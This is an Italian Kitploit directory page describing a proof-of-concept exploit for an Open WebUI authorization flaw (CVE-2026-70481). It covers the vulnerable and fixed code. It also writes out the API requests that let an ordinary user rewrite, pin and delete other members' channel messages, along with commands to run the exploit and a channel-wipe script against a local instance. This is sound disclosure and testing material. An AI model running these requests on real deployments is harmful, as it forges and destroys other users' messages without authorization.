Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-70481 — Exploit proof-of-concept per una falla di autorizzazione in Open WebUI che consente a utenti con privilegi ridotti di modificare ed eliminare i messaggi dei canali di altri membri tramite chiamate API appositamente predisposte. | Kitploit
Strumenti/GitHubGitHub/foxer131/cve-2026-70481
Autenticazione e AutorizzazioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebTest di Sicurezza delle APISicurezza WebPenetration Testing
GitHubfoxer131/cve-2026-70481

CVE-2026-70481

Exploit proof-of-concept per una falla di autorizzazione in Open WebUI che consente a utenti con privilegi ridotti di modificare ed eliminare i messaggi dei canali di altri membri tramite chiamate API appositamente predisposte.

Vedi Repository
16 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-70481

Open WebUI, interessato nelle versioni dalla 0.5.0 alla 0.10.2, corretto nella 0.11.0. Gravità moderata, CVSS 5.4, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L, CWE-284 e CWE-862.

In backend/open_webui/routers/channels.py i gestori di aggiornamento ed eliminazione dei messaggi si diramano in base al tipo di canale, e i due rami pongono domande diverse. I canali di gruppo e di messaggi diretti sono riservati all'autore.

root@kitploit:~
if channel.type in ['group', 'dm']:
    if not await Channels.is_user_channel_member(channel.id, user.id, db=db):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
    # Membership is not authorship — block cross-member edits.
    if user.role != 'admin' and message.user_id != user.id:
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
else:
    if (
        user.role != 'admin'
        and message.user_id != user.id
        and not await channel_has_access(user.id, channel, permission='write', strict=False, db=db)
    ):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())

Il ramo dei canali standard passa con il solo accesso in scrittura, e l'accesso in scrittura è esattamente ciò che new_message_handler richiede per pubblicare; di conseguenza la capacità di scrivere è stata accettata come capacità di riscrivere ed eliminare. channel_has_access è soddisfatta sia da una concessione per singolo utente sia da una pubblica, quindi una stanza privata con un collaboratore è vulnerabile quanto un canale aperto. Il modulo di aggiornamento vincola content, data e meta, mentre il livello del modello non tocca mai message.user_id, quindi un messaggio modificato mantiene il nome dell'autore originale.

Lo sfruttamento consiste in tre normali chiamate API effettuate da un account semplice con ruolo user, che non appartiene a nessun gruppo, non possiede nulla e non ha scritto alcun messaggio.

root@kitploit:~
POST   /api/v1/channels/<id>/messages/<victim_msg>/update
       {"content":"wire the funds to account 000",
        "data":{"attacker_injected":true},
        "meta":{"stored_payload":""}}   ->  200
POST   /api/v1/channels/<id>/messages/<victim_msg>/pin                           ->  200
DELETE /api/v1/channels/<id>/messages/<other_msg>/delete                         ->  200, true

Il commit c609ec411 nella 0.11.0 suddivide il controllo: prima l'accesso in scrittura, poi la paternità del messaggio, come nel ramo dei gruppi. L'operazione di pin rimane intenzionalmente a livello di scrittura.

root@kitploit:~
else:
    if user.role != 'admin' and not await channel_has_access(
        user.id, channel, permission='write', strict=False, db=db
    ):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
    # Write access is not authorship — block cross-member edits.
    if user.role != 'admin' and message.user_id != user.id:
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())

Esecuzione

root@kitploit:~
docker run -d -p 3080:8080 -e WEBUI_SECRET_KEY=devkey -e ENABLE_SIGNUP=true \
  -e DEFAULT_USER_ROLE=user --name open-webui ghcr.io/open-webui/open-webui:0.10.2

python3 prep/lab_setup.py                    # administrator, no attack, writes lab.json
python3 exploit_channel_message_tamper.py    # attacker, plus read-only and group-channel controls
python3 exploit_channel_takeover.py --wipe   # attacker, full channel takeover

Rieseguito contro la 0.10.2 il 4 agosto 2026. Gli script eliminano i messaggi di altri membri, quindi eseguili solo su un'istanza locale usa e getta.

Riferimenti

https://github.com/open-webui/open-webui/security/advisories/GHSA-mj5r-jf49-m3w7

https://www.cve.org/CVERecord?id=CVE-2026-70481

https://nvd.nist.gov/vuln/detail/CVE-2026-70481

Scarica lo strumento